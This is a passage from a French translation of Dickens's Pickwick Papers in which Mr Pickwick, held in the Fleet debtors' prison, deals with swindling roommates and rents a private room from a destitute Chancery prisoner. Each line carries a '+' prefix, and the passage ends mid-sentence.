+avoir une petite mouche noirâtre, qui rampait sur son pantalon, à venir
+dans une prison mal aérée, quand elle avait le choix de tant d'endroits
+agréables. Ses réflexions sur ce sujet l'amenèrent, par une suite de
+déductions rigoureuses, à cette conclusion, que l'insecte était fou.
+Après avoir décidé cela, il commença à s'apercevoir qu'il
+s'assoupissait; il tira donc de sa poche son bonnet de nuit, qu'il avait
+eu la précaution d'y insérer le matin, et s'étant déshabillé tout
+doucement, il se glissa dans son lit et s'endormit profondément.
+
+«Bravo, zéphyre! Bien détaché! En voilà un d'entrechat! Je veux être
+damné si l'opéra n'est pas votre sphère! Allons, hurrah!...»
+
+Ces exclamations, plusieurs fois répétées du ton le plus bruyant, et
+accompagnées d'éclats de rire retentissants, tirèrent M. Pickwick d'un
+de ces sommeils léthargiques qui, ne durant en réalité qu'une
+demi-heure, semblent au dormeur avoir été prolongés pendant trois
+semaines ou un mois.
+
+Le bruit des voix avait à peine cessé, quand le plancher de la chambre
+fut ébranlé avec tant de violence que les vitres en vibrèrent dans leurs
+châssis, et que tout le lit en trembla. M. Pickwick tressaillit, se leva
+sur son séant et resta abruti pendant quelques minutes par la scène qui
+se passait devant lui.
+
+Au milieu de la chambre, un homme en habit vert, avec une culotte de
+velours et des bas de coton gris, exécutait le pas le plus populaire
+d'une cornemuse, avec une exagération burlesque de grâce et de légèreté,
+qui, jointe à la nature de son costume, en faisait la chose la plus
+absurde du monde. Un autre individu, évidemment fort gris, et qui
+probablement avait été apporté dans son lit par ses compagnons, était
+assis, enveloppé dans ses draps, et fredonnait d'une manière
+prodigieusement lugubre tous les passages qu'il pouvait se rappeler
+d'une chanson comique. Un troisième enfin, assis sur un autre lit,
+applaudissait les exécutants de l'air d'un profond connaisseur, et les
+encourageait par des transports d'enthousiasme tels que celui qui avait
+réveillé M. Pickwick.
+
+Ce dernier personnage était un magnifique spécimen d'une classe de gens
+qui ne peuvent jamais être vus dans toute leur perfection, excepté dans
+de semblables endroits. On les rencontre parfois, dans un état
+imparfait, autour des écuries et des tavernes; mais ils n'atteignent
+leur entier développement que dans ces admirables serres chaudes, qui
+semblent sagement établies par le législateur dans le dessein de les
+propager.
+
+C'était un grand gaillard au teint olivâtre, aux cheveux longs et noirs,
+aux favoris épais et réunis sous le menton. Le collet de sa chemise
+était ouvert, et il n'avait pas de cravate, car il avait joué à la paume
+toute la journée. Il portait sur la tête une calotte grecque, qui avait
+bien coûté dix-huit pence et dont le gland de soie éclatant se balançait
+sur un habit de gros drap. Ses jambes, qui étaient fort longues et
+grêles, embellissaient un pantalon collant, destiné à en faire ressortir
+la symétrie, mais qui, étant mis négligemment, et n'étant
+qu'imparfaitement boutonné, tombait par une succession de plis peu
+gracieux sur une paire de souliers assez éculés pour laisser voir des
+bas blancs extrêmement sales. Enfin il y avait dans tout ce personnage
+une sorte de recherche grossière et de friponnerie impudente, qui
+valaient un monceau d'or.
+
+Ce fut lui qui le premier aperçut M. Pickwick. Il cligna de l'oeil au
+zéphyre, et l'engagea avec une gravité moqueuse, à ne point réveiller le
+gentleman.
+
+«Comment, dit le zéphyre en se retournant, et en affectant la plus
+grande surprise; est-ce que le gentleman est réveillé! _Mais oui, il est
+réveillé_!... Heim!... Cette citation est de Shakspeare!... Comment vous
+portez-vous, monsieur? Comment vont Mary et Sarah, monsieur? Et la chère
+vieille dame qu'est à la maison, monsieur? Eh! monsieur, Voudriez-vous
+avoir la bonté de leur transmettre mes compliments dans le premier petit
+paquet que vous enverrez par là, monsieur, en ajoutant que je les aurais
+envoyés auparavant si je n'avais pas eu peur qu'ils soient cassés dans
+la charrette, monsieur.
+
+--N'ennuyez donc pas le gentleman de civilités banales, quand vous voyez
+qu'il meurt d'envie de boire quelque chose, reprit d'un air jovial le
+gentleman aux favoris. Pourquoi ne lui demandez-vous pas ce qu'il veut
+prendre?
+
+--Nom d'un tonnerre! je l'avais oublié, s'écria l'autre. Qu'est-ce que
+vous voulez prendre, monsieur? Voulez-vous prendre du vin de Porto,
+monsieur? ou du Xérès? Je puis vous recommander l'ale, monsieur. Ou
+peut-être que vous voudriez tâter du Porter? Permettez-moi d'avoir le
+plaisir d'accrocher votre casque à mèche, monsieur.»
+
+En disant ceci, l'orateur enleva la coiffure de M. Pickwick, et la fixa
+en un clin d'oeil sur celle de l'homme ivre, qui continuait à bourdonner
+ses chansons comiques, de la manière la plus lugubre qu'on puisse
+imaginer, mais avec la ferme persuasion qu'il enchantait une société
+nombreuse et choisie.
+
+Malgré tout le sel qu'il y a à enlever violemment le bonnet de nuit d'un
+homme, et à l'ajuster sur la tête d'un gentleman inconnu, dont
+l'extérieur est notoirement malpropre, c'est là certainement une
+plaisanterie assez hasardée. Considérant la chose précisément à ce point
+de vue, M. Pickwick, sans avoir donné le moindre avertissement préalable
+de son dessein, s'élança vigoureusement hors de son lit, donna au
+zéphyre dans l'estomac, un coup de poing assez vigoureux pour le priver
+d'une portion considérable du souffle que la nature a jugé nécessaire
+aux organes respiratoires, puis, ayant récupéré son bonnet, se plaça
+hardiment dans une posture de défense.
+
+«Maintenant, s'écria-t-il en haletant, non moins par excitation que par
+la dépense de tant d'énergie, maintenant, avancez tous les deux, tous
+les deux ensemble!» et, tout en faisant cette libérale invitation, le
+digne gentleman imprimait à ses poings fermés un mouvement de rotation,
+afin d'épouvanter ses antagonistes par cette démonstration scientifique.
+
+Était-ce la manière compliquée dont M. Pickwick était sorti de son lit
+pour tomber tout d'une masse sur le danseur? était-ce la preuve
+inattendue de courage donnée par lui, qui avait touché ses adversaires?
+Il est certain qu'ils étaient touchés: car au lieu d'essayer de
+commettre un meurtre, comme le philosophe s'y attendait fermement, ils
+s'arrêtèrent, se regardèrent l'un l'autre pendant quelque temps, et
+finalement éclatèrent de rire.
+
+«Allons, vous êtes un bon zig, dit le zéphyre. Rentrez dans votre lit,
+ou bien vous attraperez des rhumatismes. Pas de rancune, j'espère?
+continua-t-il en tendant vers M. Pickwick une main capable de remplir
+ces gants d'étain rouge qui se balancent habituellement au-dessus de la
+porte des gantiers.
+
+--Non certainement, répondit M. Pickwick avec empressement; car
+maintenant que l'excitation du moment était passée, il commençait à
+sentir le froid sur ses jambes.
+
+--Permettez-moi, monsieur, d'avoir le même _honneur_, dit le gentleman
+aux favoris en présentant sa main droite, et en aspirant le _h_.
+
+--Avec beaucoup de plaisir, monsieur, répliqua M. Pickwick qui remonta
+dans son lit, après avoir échangé une poignée de main très-longue et
+très-solennelle.
+
+--Je m'appelle Smangle, monsieur, dit l'homme aux favoris.
+
+--Oh! fit M. Pickwick.
+
+--Et moi, Mivins, dit l'homme aux bas gris.
+
+--Je suis charmé de le savoir, monsieur,» répondit M. Pickwick.
+
+M. Smangle toussa: hem!
+
+«Vous me parliez, monsieur? demanda M. Pickwick.
+
+--Non, monsieur, répliqua M. Smangle.
+
+--Je l'avais cru, monsieur, dit M. Pickwick.»
+
+Tout ceci était fort poli et fort agréable, et pour augmenter encore la
+bonne harmonie, M. Smangle assura nombre de fois M. Pickwick qu'il
+entretenait le plus grand respect, pour les sentiments d'un gentleman.
+Or, on devait assurément lui en savoir un gré infini, car il était
+impossible de supposer qu'il pût les comprendre.
+
+«Vous allez vous faire déclarer insolvable, monsieur? demanda M.
+Smangle.
+
+--Me faire quoi? dit M. Pickwick.
+
+--Déclarer insolvable par la cour de la rue de Portugal[14]. La cour
+pour le soulagement des banqueroutiers, vous savez?
+
+[Footnote 14: Tribunal.]
+
+--Oh! non, du tout.
+
+--Vous allez sortir peut-être? suggéra M. Mivins.
+
+--J'ai peur que non. Je refuse de payer quelques dommages-intérêts, et
+je suis ici en conséquence.
+
+--Ah! fit observer M. Smangle, le papier a été ma ruine.
+
+--Vous étiez papetier, monsieur? dit M. Pickwick innocemment.
+
+--Non, non, Dieu me damne, je ne suis jamais tombé si bas que cela; pas
+de boutique. Quand je dis le papier, je veux dire les lettres de change.
+
+--Ah! vous employiez le mot dans ce sens?
+
+--Par le diable! un gentleman doit s'attendre à des revers. Mais quoi?
+je suis ici dans la prison de Fleet Street? Bon! est-ce que j'en suis
+plus pauvre pour cela?
+
+--Au contraire, répliqua M. Mivins;» et il avait raison: bien loin que
+M. Smangle fût plus pauvre pour cela, le fait est qu'il était plus
+riche; car ce qui l'avait amené dans la prison, c'est qu'au moyen de son
+papier, il avait acquis gratuitement la possession de certains articles
+de joaillerie qui, depuis lors, avaient été placés par lui chez un
+prêteur sur gages.
+
+«Allons! allons! reprit M. Smangle. Tout cela c'est bien sec. Il faut
+nous rincer la bouche avec une goutte de Xérès brûlé. Le dernier venu le
+payera; Mivins l'ira chercher, et moi j'aiderai à le boire. C'est ce que
+j'appelle une impartiale division du travail, Dieu me damne!»
+
+Ne voulant pas risquer une autre querelle, M. Pickwick consentit à cette
+proposition. Il donna de l'argent à M. Mivins, qui ne perdit pas un
+instant pour se rendre au café, car il était près de onze heures.
+
+«Dites-donc, demanda tout bas M. Smangle, aussitôt que son ami eut
+quitté la chambre.
+
+--Combien lui avez-vous donné?
+
+--Un demi-souverain.
+
+--C'est un gentleman des plus aimables; spirituel en diable... je ne
+connais personne qui le soit plus, mais....» Ici M. Smangle s'arrêta
+court en hochant la tête d'un air dubitatif.
+
+«Vous ne regardez pas comme probable qu'il approprie cet argent à ses
+besoins personnels? demanda M. Pickwick.
+
+--Oh! non! je ne dis pas cela. J'ai dit en toutes lettres que c'était un
+gentleman des plus aimables. Mais je pense qu'il n'y aurait pas de mal à
+ce que quelqu'un descendit par hasard pour voir s'il ne trempe pas son
+bec dans le bol, ou s'il ne perd pas la monnaie le long du chemin. «Ici,
+hé! monsieur! dégringolez en bas, s'il vous plaît, et voyez un peu ce
+que fait le gentleman qui vient de descendre.»
+
+Cette requête était adressée à un jeune homme à l'air timide, modeste,
+dont l'extérieur annonçait une grande pauvreté, et qui, pendant tout ce
+temps, était resté aplati sur son lit, pétrifié, en apparence, par la
+nouveauté de sa situation.
+
+«Vous savez où est le café, n'est-ce pas? Descendez seulement et dites
+au gentleman que vous êtes venu l'aider à monter le bol... ou bien...
+attendez... je vais vous dire ce que... je vais vous dire comment nous
+l'attraperons, dit Smangle d'un air malin.
+
+--Comment cela? demanda M. Pickwick.
+
+--Faites-lui dire qu'il emploie le reste en cigares. Fameuse idée!
+Courez vite lui dire cela, entendez-vous? Ils ne seront pas perdus,
+continua Smangle, en se tournant vers M. Pickwick, je les fumerai au
+besoin.»
+
+Cette manoeuvre était si ingénieuse, et elle avait été accomplie avec un
+aplomb si admirable, que M. Pickwick n'aurait pas voulu y mettre
+d'obstacle, quand même il l'aurait pu. Au bout de peu de temps, M.
+Mivins revint apportant le Xérès, que M. Smangle distribua dans deux
+petites tasses fêlées, faisant observer judicieusement par rapport à
+lui-même, qu'un gentleman ne doit pas être difficile, dans de semblables
+circonstances, et que, quant à lui, il n'était pas trop fier pour boire
+à même dans le bol. En même temps pour montrer sa sincérité, il porta un
+toast à la compagnie, et vida le vase presque en entier.
+
+Une touchante harmonie ayant été établie de cette manière, M. Smangle
+commença à raconter diverses anecdotes romanesques de sa vie privée,
+concernant, entre autres choses, un cheval pur sang, et une magnifique
+juive, l'un et l'autre d'une beauté surprenante, et singulièrement
+convoités par la noblesse des trois royaumes.
+
+Longtemps avant la conclusion de ces élégants extraits de la biographie
+d'un gentleman, M. Mivins s'était mis au lit et avait commencé à
+ronfler, laissant M. Pickwick et le timide étranger profiter seuls de
+l'expérience de M. Smangle.
+
+Cependant ces deux auditeurs eux-mêmes ne furent pas apparemment aussi
+édifiés qu'ils auraient dû l'être par les récits touchants qui leur
+furent faits. Depuis quelque temps, M. Pickwick se trouvait dans un état
+de somnolence, lorsqu'il eut une indistincte perception que l'homme ivre
+avait recommencé à psalmodier ses chansons comiques, et que M. Smangle
+lui avait fait doucement comprendre que son auditoire n'était pas
+disposé musicalement, en lui versant le pot à l'eau sur la tête. Notre
+héros retomba alors dans le sommeil avec le sentiment confus que M.
+Smangle était encore occupé à raconter une longue histoire, dont le
+point principal paraissait être que dans une certaine occasion spécifiée
+avec détails, il avait _fait_ une lettre de change et _refait_ un
+gentleman.
+
+
+
+
+CHAPITRE XIII.
+
+Démontrant, comme le précédent, la vérité de ce vieux proverbe, que
+l'adversité vous fait faire connaissance avec d'étranges camarades de
+lit; et contenant, en outre, l'incroyable déclaration que M. Pickwick
+fit à Sam.
+
+
+Quand M. Pickwick ouvrit les yeux, le lendemain matin, le premier objet
+qu'il aperçut fut Samuel Weller assis sur un petit porte-manteau noir,
+et regardant d'un air de profonde abstraction la majestueuse figure de
+l'éblouissant M. Smangle, tandis que celui-ci, à moitié habillé et assis
+sur son lit, s'occupait de l'entreprise tout à fait désespérée de faire
+baisser les yeux dudit Sam. Nous disons tout à fait désespérée, parce
+que Sam, d'un regard qui embrassait tout à la fois la culotte, les
+pieds, la tête, le visage, les jambes et les favoris de M. Smangle,
+continuait de l'examiner avec un air de vive satisfaction et sans plus
+s'inquiéter des sentiments du sujet, que s'il avait inspecté une statue
+ou le corps empaillé d'une effigie de Guy Faux.
+
+«Eh bien! me reconnaîtrez-vous? dit M. Smangle en fronçant le sourcil.
+
+--Je prêterai serment de le faire, n'importe où, monsieur, répondit Sam
+d'un air de bonne humeur.
+
+--Ne dites pas d'impertinences à un gentleman, monsieur.
+
+--Non, assurément; si vous voulez me dire quand il s'éveillera, je lui
+ferai des politesses extra-superfines.»
+
+Cette observation ayant une tendance indirecte à impliquer que M.
+Smangle n'était pas un gentleman, excita quelque peu son courroux.
+
+«Mivins, dit-il d'un air colérique.
+
+--Qu'y a-t-il? répliqua M. Mivins de sa couche.
+
+--Qui diable est donc ce gaillard-là?
+
+--Ma foi, dit M. Mivins en regardant languissamment de dessous ses
+draps, je devrais plutôt vous le demander. A-t-il quelque chose à faire
+ici?
+
+--Non, répliqua Smangle.
+
+--Alors jetez-le en bas des escaliers, et dites-lui de ne pas se
+permettre de se relever jusqu'à ce que j'aille le trouver,» répondit M.
+Mivins. Puis ayant donné cet avis, l'excellent gentleman se remit à
+dormir.
+
+La conversation montrant ces symptômes peu équivoques de devenir
+personnelle, M. Pickwick jugea qu'il était temps d'intervenir.
+
+«Sam, dit-il.
+
+--Monsieur?
+
+--Il n'y a rien de nouveau depuis hier?
+
+--Rien d'important, monsieur, répliqua Sam, en lorgnant les favoris de
+M. Smangle. L'humidité et la chaleur de l'atmosphère paraît favorable à
+la croissance de certaines mauvaises herbes terribles et rougeâtres;
+mais à ça près, tout boulotte assez raisonnablement.
+
+--Je vais me lever, interrompit M. Pickwick. Donnez-moi du linge blanc.»
+
+Quelque hostiles qu'eussent pu être les intentions de M. Smangle, elles
+furent immédiatement radoucies par le porte-manteau dont le contenu
+parut lui donner tout à coup la plus favorable opinion, non-seulement de
+M. Pickwick, mais aussi de Sam. En conséquence, il saisit promptement
+une occasion de déclarer d'un ton assez élevé pour que cet excentrique
+personnage pût l'entendre, qu'il le reconnaissait pour un original pur
+sang et partant pour l'homme suivant son coeur. Quant à M. Pickwick,
+l'affection qu'il conçut pour lui en ce moment ne connut plus de bornes.
+
+«Y a-t-il quelque chose que je puisse faire pour vous, mon cher
+monsieur? lui dit-il.
+
+--Rien que je sache; je vous suis obligé, répondit le philosophe.
+
+--Vous n'avez pas de linge à envoyer à la blanchisseuse? Je connais une
+admirable blanchisseuse dans le voisinage. Elle vient pour moi deux fois
+par semaine.... Par Jupiter! comme c'est heureux! c'est justement son
+jour! Mettrai-je quelques-unes de vos petites affaires avec les miennes?
+Ne parlez pas de l'embarras: au diable l'embarras! À quoi servirait
+l'humanité, si un gentleman dans la malheur ne se dérangeait pas un peu
+pour assister un autre gentleman qui se trouve dans le même cas?»
+
+Ainsi parlait M. Smangle en s'approchant en même temps du porte-manteau
+aussi près que possible, et laissant voir dans ses regards toute la
+ferveur de l'amitié la plus désintéressée.
+
+«Est-ce que vous n'avez rien à faire brosser au garçon, mon cher ami?
+continua-t-il.
+
+--Rien du tout mon fiston, dit Sam en se chargeant de la réplique.
+Peut-être que si l'un de nous avait la bonne idée de décamper sans
+attendre le garçon, ça serait plus agréable pour tout le monde, comme
+disait le maître d'école au jeune gentleman qui refusait de se laisser
+fouetter par le domestique.
+
+--Et il n'y a rien que je puisse envoyer dans ma petite boîte à la
+blanchisseuse? ajouta M. Smangle en se tournant de nouveau vers M.
+Pickwick avec un air quelque peu déconfit.
+
+--Pas l'ombre d'une camisole, monsieur, rétorqua Sam. J'ai peur que la
+petite boîte ne soit déjà comble de vos effets.»
+
+Ce discours fut accompagné d'un coup d'oeil expressif jeté sur cette
+partie du costume de M. Smangle qui atteste ordinairement la science de
+la blanchisseuse; aussi ce gentleman se crut-il obligé de tourner sur
+ses talons et d'abandonner, pour le présent du moins, toutes prétentions
+sur la bourse et sur la garde-robe de M. Pickwick. Il se retira donc
+d'assez mauvaise humeur au jeu de paume, où il déjeuna légèrement et
+sainement d'une couple des cigares qui avaient été achetés le soir
+précédent.
+
+M. Mivins qui n'était pas fumeur, dont le compte en petits articles
+d'épicerie avait déjà atteint le bas de l'ardoise, et pour lequel on
+refusait de retourner ce grand livre primitif, demeura dans son lit, et
+suivant sa propre expression demanda à déjeuner à Morphée.
+
+M. Pickwick déjeuna dans un petit cabinet, décoré du nom de boudoir,
+dont les habitants temporaires avaient l'inexprimable avantage
+d'entendre tout ce qui se disait dans le café voisin; ensuite il dépêcha
+Sam pour faire quelques commissions nécessaires; puis il se rendit à la
+loge, afin d'interroger M. Roker concernant son établissement futur.
+
+«Ah! ah! M. Pickwick, dit ce gentleman en consultant un énorme livre.
+Nous ne manquons pas de place. Votre billet de _copin_ sera pour le 27,
+au troisième.
+
+--Mon quoi? demanda M. Pickwick.
+
+--Votre billet de copin. Vous n'y êtes pas?
+
+--Pas tout à fait, dit M. Pickwick en souriant.
+
+--Vraiment, c'est aussi clair que le jour. Vous aurez un billet de copin
+pour le 27, au troisième, et ceux qui habitent la même chambre seront
+vos copins.
+
+--Sont-ils nombreux? demanda M. Pickwick d'un air intrigué.
+
+--Trois....»
+
+M. Pickwick toussa.
+
+«L'un deux est un ministre, continua M. Roker en écrivant sur un petit
+morceau de papier; l'autre est un boucher.
+
+--Hein! fit M. Pickwick.
+
+--Un boucher, répéta M. Roker en appuyant le bec de sa plume sur son
+bureau pour la décider à marquer. Neddy, vous rappelez-vous Tom Martin,
+quel noceur ça faisait? dit M. Roker à un autre habitant de la loge,
+lequel s'amusait à ôter la boue de ses souliers, avec un canif à
+vingt-cinq lames.
+
+--Je crois bien, répondit l'individu interrogé.
+
+--Dieu nous bénisse! continua M. Roker en branlant doucement la tête, et
+en regardant d'un air distrait par les barreaux de la fenêtre comme
+quelqu'un qui prend plaisir à se rappeler les scènes paisibles de son
+enfance; il me semble que c'est hier qu'il donnait une roulée aux
+charretiers, là bas à _Fox-under-the-Hill_, près de l'endroit où on
+débarque le charbon. Je le vois encore le long du _Strand_, entre deux
+Watchmen, un peu dégrisé par ses meurtrissures, avec un emplâtre de
+vinaigre et de papier gris sur l'oeil droit; et sur ses talons, son joli
+boule-dogue, qui a dévoré le petit garçon ensuite. Quelle drôle de
+chose que le temps, hein, Neddy?»
+
+Le gentleman à qui ses observations étaient adressées et qui paraissait
+d'une disposition pensive et taciturne, se contenta de répéter la même
+phrase, et M. Roker secouant les idées sombres et poétiques qui
+s'étaient emparées de lui, redescendit aux affaires communes de la vie,
+et reprit sa plume.
+
+«Savez-vous quel est le troisième gentleman? demanda M. Pickwick, fort
+peu enchanté par cette description de ses futurs associés.
+
+--Neddy, qu'est-ce que c'est que Simpson? dit M. Roker, en se tournant
+vers son compagnon.
+
+--Quel Simpson?
+
+--Celui qui est au 27, au troisième, avec qui ce gentleman va être
+copin.
+
+--Oh! lui? répliqua Neddy, il n'est rien du tout; autrefois c'était le
+compère d'un maquignon; aujourd'hui il est floueur.
+
+--C'est ce que je pensais, répliqua M. Roker en fermant son livre, et en
+pinçant le petit morceau de papier dans la main de M. Pickwick. Voilà le
+billet, monsieur.»
+
+Très-embarrassé par cette manière sommaire de disposer de sa personne,
+M. Pickwick rentra dans la prison, en réfléchissant à ce qu'il avait de
+mieux à faire.
+
+Convaincu toutefois qu'avant de tenter une autre démarche, il était
+utile de voir les trois gentlemen avec qui on voulait le colloquer, il
+se dirigea le mieux qu'il put vers le troisième étage.
+
+Après avoir erré quelque temps dans la galerie en essayant de
+déchiffrer, malgré l'obscurité, les numéros qui se trouvaient sur les
+différentes portes, il s'adressa à la fin à un garçon de taverne qui
+poursuivait son occupation matinale de glaner les pots d'étain.
+
+«Où est le nº 27, mon ami? demanda M. Pickwick.
+
+--Cinq portes plus loin, répliqua le garçon. Il y a sur la porte en
+dehors le portrait à la craie d'un gentleman pendu qui fume sa pipe.»
+
+Guidé par ces instructions, M. Pickwick s'avança lentement le long de la
+galerie jusqu'au moment où il rencontra le portrait du gentleman
+ci-dessus décrit. Il frappa à la porte avec le revers de son index,
+doucement d'abord, puis ensuite plus fortement. Après avoir inutilement
+répété cette opération, il se hasarda à ouvrir et à regarder dans
+l'intérieur.
+
+Il y avait dans la chambre un seul homme qui se penchait par la fenêtre
+aussi loin qu'il le pouvait sans perdre l'équilibre, et qui s'efforçait
+avec grande persévérance de cracher sur le chapeau d'un de ses amis
+intimes qui se trouvait en bas dans la cour. M. Pickwick n'ayant pu lui
+indiquer sa présence ni en parlant, ni en toussant, ni en éternuant, ni
+en frappant, ni par aucun autre moyen d'attirer l'attention, se
+détermina enfin à s'approcher de la fenêtre et à tirer doucement la
+basque de l'habit de cet individu. Celui-ci rentra vivement la tête et
+les épaules, et demanda à M. Pickwick, d'un ton bourru, ce qu'il lui
+voulait.
+
+«Je crois, dit M. Pickwick en consultant son billet, je crois que c'est
+ici le nº 27, au troisième?
+
+--Eh bien?
+
+--C'est en vertu de ce morceau de papier que je suis venu ici.
+
+--Voyons un peu ça.»
+
+M. Pickwick obéit.
+
+«M. Roker aurait bien pu vous fourrer ailleurs,» dit d'un air mécontent
+M. Simpson (car c'était ce chevalier d'industrie).
+
+M. Pickwick le pensait aussi, mais, dans de telles circonstances, il
+jugea prudent de garder le silence.
+
+M. Simpson réfléchit pendant quelques instants, puis mettant la tête à
+la fenêtre, il donna un coup de sifflet aigu et prononça à haute voix
+certaines paroles. M. Pickwick ne put pas les distinguer, mais il
+imagina que c'était quelque sobriquet qui distinguait M. Martin, car
+immédiatement après, un grand nombre de gentlemen qui se trouvaient en
+bas se mirent à crier: «Le boucher! le boucher!» en imitant le cri par
+lequel les membres de cette utile classe de la société ont coutume de
+faire connaître quotidiennement leur présence, aux grilles des sous-sols
+des maisons de Londres.
+
+Les événements subséquents confirmèrent l'exactitude de cette hypothèse,
+car au bout de quelques secondes un gentleman prématurément gros pour
+son âge, habillé du bourgeron bleu professionnel et avec des bottes à
+revers, et à bouts ronds, entra presque hors d'haleine dans la chambre:
+il fut suivi de près par un autre gentleman en habit noir très-râpé, et
+en bonnet de peau de loutre. Celui-ci s'occupait tout le long du chemin
+à rattacher son habit jusqu'au menton, au moyen de boutons et
+d'épingles. Il avait un visage très-rouge et très-commun, et faisait
+l'effet d'un chapelain ivre, ce qu'il était effectivement.
+
+Ces deux gentlemen ayant à leur tour parcouru le billet de M. Pickwick,
+l'un exprima son opinion que c'était embêtant, et l'autre, sa conviction
+que c'était une scie. Ayant manifesté leurs sentiments en ces termes
+intelligibles, ils se regardèrent entre eux et regardèrent M. Pickwick,
+au milieu d'un silence fort embarrassant.
+
+«Quel ennui! Et il faut que ça arrive au moment où nous formons une
+petite société si agréable,» reprit le chapelain en regardant trois
+matelas malpropres, roulés chacun dans une couverture, et qui occupaient
+durant le jour un coin de la chambre, formant une toilette d'un nouveau
+genre, sur laquelle étaient placés une vieille cuvette fêlée, une boîte
+et un pot à eau de faïence à fleurs bleues. «Quel ennui!»
+
+M. Martin exprima la même opinion en termes plus énergiques, et M.
+Simpson, après avoir lancé dans le monde une quantité d'adjectifs sans
+aucun substantif pour les accompagner, releva le bas de ses manches et
+commença à laver des choux pour le dîner.
+
+Pendant que cela se passait, M. Pickwick s'occupait à considérer la
+chambre, qui était outrageusement sale et sentait le renfermé d'une
+manière intolérable. Il n'y avait point de vestige de tapis, de rideaux,
+ni de jalousies; il n'y avait pas même un cabinet. À la vérité, s'il y
+en avait en un, il ne se trouvait pas grand'chose à y mettre; mais,
+quoique peu nombreux et peu considérables, individuellement, cependant
+des morceaux de fromage, des croûtons de pain, des torchons mouillés,
+des restes de viande, des objets de vêtements, de la vaisselle mutilée,
+des soufflets sans bout, des fourchettes sans manche, présentent quelque
+chose d'assez peu confortable, en apparence, quand ils sont répandus sur
+le carreau d'une petite salle qui représente à la fois le salon et la
+chambre à coucher de trois individus désoeuvrés.
+
+«Je suppose pourtant que cela peut s'arranger, dit le boucher, après un
+assez long silence. Que prendriez-vous pour vous en aller?
+
+--Je vous demande pardon, répliqua M. Pickwick: qu'est-ce que vous
+disiez? je n'ai pas bien entendu.
+
+--Combien demandez-vous pour vous en aller? D'ordinaire c'est trois
+francs, mais on vous en donnera quatre; ça vous va-t-il?
+
+--Au besoin, nous nous fendrons d'une roue de cabriolet, suggéra M.
+Simpson.
+
+--Va pour la roue de cabriolet; ça ne nous fait que quelques sous de
+plus par personne, ajouta M. Martin. Qu'en dites-vous. Nous vous offrons
+quatre shillings par semaine pour vous en aller. Eh bien?
+
+--On fera monter un _gallon_ de bière par-dessus le marché, intercala M.
+Simpson. Là!
+
+--Et nous le boirons sur-le-champ, ajouta le chapelain Allons!
+
+--Je suis réellement si ignorant des règles de cet endroit, répondit M.
+Pickwick, que je ne vous comprends pas encore parfaitement. Est-ce que
+je puis loger ailleurs? Je ne le croyais pas.»
+
+En entendant cette question, M. Martin regarda ses deux amis avec une
+excessive surprise, et alors chacun des trois gentlemen étendit son
+pouce droit par-dessus son épaule gauche. Ce geste, que les paroles:
+_as-tu fini!_ ne sauraient rendre que d'une façon fort imparfaite,
+produit un effet fort gracieux et fort aérien quand il est exécuté par
+un certain nombre de ladies et de gentlemen, habitués à agir de concert.
+Il exprime un léger sarcasme plein d'atticisme et de bonne humeur.
+
+«Vous ne le croyiez pas? répéta M. Martin avec un sourire de pitié.
+
+--Eh bien! dit l'ecclésiastique, si je connaissais la vie aussi peu que
+cela, je mangerais mon chapeau et sa boucle avec!
+
+--Et moi, _item_, ajouta le boucher solennellement.»
+
+Après cette courte préface, les trois copins informèrent M. Pickwick,
+tout d'une haleine, que l'argent avait dans la prison la même vertu que
+dehors; qu'il lui procurerait instantanément presque tout ce qu'on peut
+désirer, et que, si M. Pickwick en possédait et voulait bien le
+dépenser, il n'avait qu'à signifier son désir d'avoir une chambre à lui
+seul, et qu'il la trouverait toute meublée et garnie en moins d'une
+demi-heure de temps.
+
+Nos gens se séparèrent alors avec une satisfaction mutuelle: M. Pickwick
+retournant sur nouveaux frais à la loge, et les trois copins se rendant
+au café pour y dépenser les cinq shillings que le ministre, avec une
+admirable prévoyance, avait empruntés dans ce dessein au candide
+philosophe.
+
+Lorsque M. Pickwick eut déclaré à M. Roker pourquoi il revenait:
+
+«Je le savais bien, s'écria celui-ci avec un gras rire, ne l'ai-je pas
+dit, Neddy?»
+
+Le sage possesseur du couteau universel fit entendre un grognement
+affirmatif.
+
+«Parbleu! je savais qu'il vous fallait une chambre à vous seul. Voyons!
+Il vous faudra des meubles; c'est moi qui vous les louerai, je suppose,
+suivant l'usage.
+
+--Avec grand plaisir, répliqua M. Pickwick.
+
+--Il y a dans l'escalier du café une chambre magnifique qui appartient à
+un prisonnier de la chancellerie: elle vous coûtera une livre sterling
+par semaine. Je suppose que vous ne regardez pas à cela?
+
+--Pas le moins du monde.
+
+--Venez avec moi, cria M. Roker en prenant son chapeau avec une grande
+vivacité. L'affaire sera faite en cinq minutes. Que diable! pourquoi
+n'avez-vous pas commencé par dire que vous consentiez à bien faire les
+choses?»
+
+Comme le guichetier l'avait prédit, l'affaire fut promptement arrangée.
+Le prisonnier de la Chancellerie était là depuis assez longtemps pour
+avoir perdu amis, fortune, habitudes, bonheur, et pour avoir acquis en
+échange le droit d'avoir une chambre à lui tout seul. Cependant, comme
+il éprouvait le léger inconvénient de manquer souvent d'un morceau de
+pain, il consentit, avec empressement à céder cette chambre à M.
+Pickwick, moyennant la somme hebdomadaire de vingt shillings, sur
+laquelle il s'engageait, en outre, à payer l'expulsion de toute personne
+qui pourrait être envoyée comme copin dans cet appartement.
+
+Pendant que ce marché se concluait, M. Pickwick examinait le prisonnier
+avec un intérêt pénible. C'était un grand homme décharné, cadavéreux,
+enveloppé d'une vieille redingote, et dont les pieds sortaient à moitié
+de ses pantoufles éculées. Son regard était inquiet, ses joues
+pendantes, ses lèvres pâles, ses os minces et aigus. Le malheureux! on
+voyait que la dent de fer de l'isolement et du besoin l'avait lentement
+rongé depuis vingt années!
+
+«Et vous, monsieur, où allez-vous demeurer maintenant? lui demanda M.
+Pickwick en déposant d'avance, sur la table chancelante, la première
+semaine de son loyer.»
+
+L'homme ramassa l'argent d'une main agitée et répliqua qu'il n'en savait
+rien encore, mais qu'il allait voir où il pourrait transporter son lit.
+
+«J'ai peur, monsieur, reprit M. Pickwick en posant doucement sa main
+sur le bras du prisonnier; j'ai peur que vous ne soyez obligé de loger
+dans quelque endroit bruyant et encombré de monde. Mais, je vous en
+prie, continuez à considérer cette chambre comme la vôtre, quand vous
+aurez besoin d'un peu de tranquillité, ou lorsque vos amis viendront
+vous voir.
+
+--Mes amis! interrompit le prisonnier d'une voix qui râlait dans son
+gosier. Si j'étais cloué dans mon cercueil, enfoncé dans la bourbe du
+fossé infect qui croupit sous les fondations de cette prison, je ne
+pourrais pas être plus oublié, plus abandonné que je ne le suis ici. Je
+suis un homme mort, mort à la société, sans avoir obtenu la pitié qu'on
